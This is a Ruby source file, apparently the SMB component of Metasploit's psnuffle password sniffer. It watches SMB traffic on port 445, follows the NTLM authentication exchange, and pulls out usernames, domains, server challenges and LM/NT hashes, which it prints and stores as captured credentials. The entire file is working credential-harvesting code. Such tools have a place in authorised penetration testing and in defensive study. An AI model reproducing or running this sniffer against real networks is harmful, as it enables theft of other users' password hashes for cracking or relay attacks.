# Psnuffle password sniffer add-on class for smb
# part of psnuffle sniffer auxiliary module
#
# When db is available reports go into db
#

#Memo : 
#FOR SMBV1
  # Authentification without extended security set
    #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec  =  0
    #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec  =  0 and contains server challenge (aka encryption key) and wordcount = 17
    #3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
    #4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok

  # Authentification with extended security set
    #1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec  =  1
    #2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec  =  1
    #3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
    #4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
    #5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
    #6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
#FOR SMBV2
  #SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response 

class SnifferSMB < BaseProtocolParser

  def register_sigs
    self.sigs = {
      :smb1_negotiate		=> /\xffSMB\x72/n,
      :smb1_setupandx		=> /\xffSMB\x73/n,
      #:smb2_negotiate	=> /\xFESMB\x40\x00(.){6}\x00\x00/n,
      :smb2_setupandx		=> /\xFESMB\x40\x00(.){6}\x01\x00/n
    }
  end

  def parse(pkt)
    # We want to return immediatly if we do not have a packet which is handled by us
    return unless pkt.is_tcp?
    return if (pkt.tcp_sport != 445 and pkt.tcp_dport != 445)
    s = find_session((pkt.tcp_sport == 445) ? get_session_src(pkt) : get_session_dst(pkt))

    self.sigs.each_key do |k|
      # There is only one pattern per run to test
      matched = nil
      matches = nil

      if(pkt.payload =~ self.sigs[k])
        matched = k
        matches = $1
      end

      case matched
      when :smb1_negotiate
        payload = pkt.payload.dup
        wordcount = payload[36,1].unpack("C")[0]
        #negotiate response
        if wordcount == 17
          flags2 = payload[14,2].unpack("v")[0]
          #the server challenge is here
          if flags2 & 0x800 == 0
            s[:challenge] = payload[73,8].unpack("H*")[0]
            s[:last]  = :smb1_negotiate
          end
        end

      when :smb1_setupandx
        s[:smb_version]  = "SMBv1"
        parse_sessionsetup(pkt, s)
      when :smb2_setupandx
        s[:smb_version]  = "SMBv2"
        parse_sessionsetup(pkt, s)
      when nil
        # No matches, no saved state
      else
        sessions[s[:session]].merge!({k => matches})
      end # end case matched

    end # end of each_key
  end # end of parse

  #ntlmv1, ntlmv2 or ntlm2_session
  def detect_ntlm_ver(lmhash, ntlmhash)
    return "NTLMv2" if ntlmhash.length > 48
    if lmhash.length == 48 and ntlmhash.length == 48
      if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16
        return "NTLM2_SESSION"
      else
        return "NTLMv1"
      end
    else
      raise RuntimeError, "Unknown hash type"
    end
  end

  def parse_sessionsetup(pkt, s)
    payload = pkt.payload.dup
    ntlmpayload = payload[/NTLMSSP\x00.*/m]
    if ntlmpayload
      ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
      case ntlmmessagetype
      when 2 # challenge
        s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
        s[:last] = :ntlm_type2
      when 3 # auth
        if s[:last] == :ntlm_type2
          lmlength = 	ntlmpayload[12, 2].unpack("v")[0]
          lmoffset = 	ntlmpayload[16, 2].unpack("v")[0]
          ntlmlength = 	ntlmpayload[20, 2].unpack("v")[0]
          ntlmoffset = 	ntlmpayload[24, 2].unpack("v")[0]
          domainlength = 	ntlmpayload[28, 2].unpack("v")[0]
          domainoffset = 	ntlmpayload[32, 2].unpack("v")[0]
          usrlength = 	ntlmpayload[36, 2].unpack("v")[0]
          usroffset = 	ntlmpayload[40, 2].unpack("v")[0]

          s[:lmhash] = 	ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
          s[:ntlmhash] =      ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
          s[:domain] =	ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
          s[:user] =		ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''

          secbloblength = payload[51,2].unpack("v")[0]
          names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
          s[:peer_os]   = names[0] || ''
          s[:peer_lm]   = names[1] || ''
          s[:last] = :ntlm_type3
        end
      end
    else
      wordcount = payload[36,1].unpack("C")[0]
      #authentification without smb extended security (smbmount, msf server capture)
      if wordcount == 13 and s[:last]  == :smb1_negotiate and s[:smb_version]  == "SMBv1"
        lmlength = 	payload[51,2].unpack("v")[0]
        ntlmlength = 	payload[53,2].unpack("v")[0]
        s[:lmhash] = 	payload[65,lmlength].unpack("H*")[0]
        s[:ntlmhash] =  payload[65 + lmlength, ntlmlength].unpack("H*")[0]
      
        names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }

        s[:user] = names[0]
        s[:domain]   = names[1]
        s[:peer_os]   = names[2]
        s[:peer_lm]   = names[3]
        s[:last] = :smb_no_ntlm
      else
        #answer from server
        if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
          #do not output anonymous/guest logging
          unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
            #set lmhash to a default value if not provided						   	
            s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m 
            s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]

            smb_status = payload[9,4].unpack("V")[0]
            if smb_status == 0 # success

              ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])

              logmessage =
                "#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
                "USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
                "SERVER CHALLENGE:#{s[:challenge]} " + 
                "\nLMHASH:#{s[:lmhash]} " + 
                "\nNTHASH:#{s[:ntlmhash]}\n"
              print_status(logmessage)

              src_ip = s[:client_host]
              dst_ip = s[:host]
              # know this is ugly , last code added :-/
              smb_db_type_hash = case ntlm_ver
                     when "NTLMv1" 		then "smb_netv1_hash"
                     when "NTLM2_SESSION" 	then "smb_netv1_hash"
                     when "NTLMv2" 		then "smb_netv2_hash"
                     end
              # DB reporting
              report_auth_info(
                :host  => dst_ip,
                :port => 445,
                :sname => 'smb',
                :user => s[:user],
                :pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
                :type => smb_db_type_hash,
                :proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
                :active => true
              )

              report_note(
                :host  => src_ip,
                :type  => "smb_peer_os",
                :data  => s[:peer_os]
              ) if (s[:peer_os] and s[:peer_os].strip.length > 0)

              report_note(
                :host  => src_ip,
                :type  => "smb_peer_lm",
                :data  => s[:peer_lm]
              ) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)

              report_note(
                :host  => src_ip,
                :type  => "smb_domain",
                :data  => s[:domain]
              ) if (s[:domain] and s[:domain].strip.length > 0)

            end
          end
        end
        s[:last] = nil
        sessions.delete(s[:session])
      end
    end
  end
end
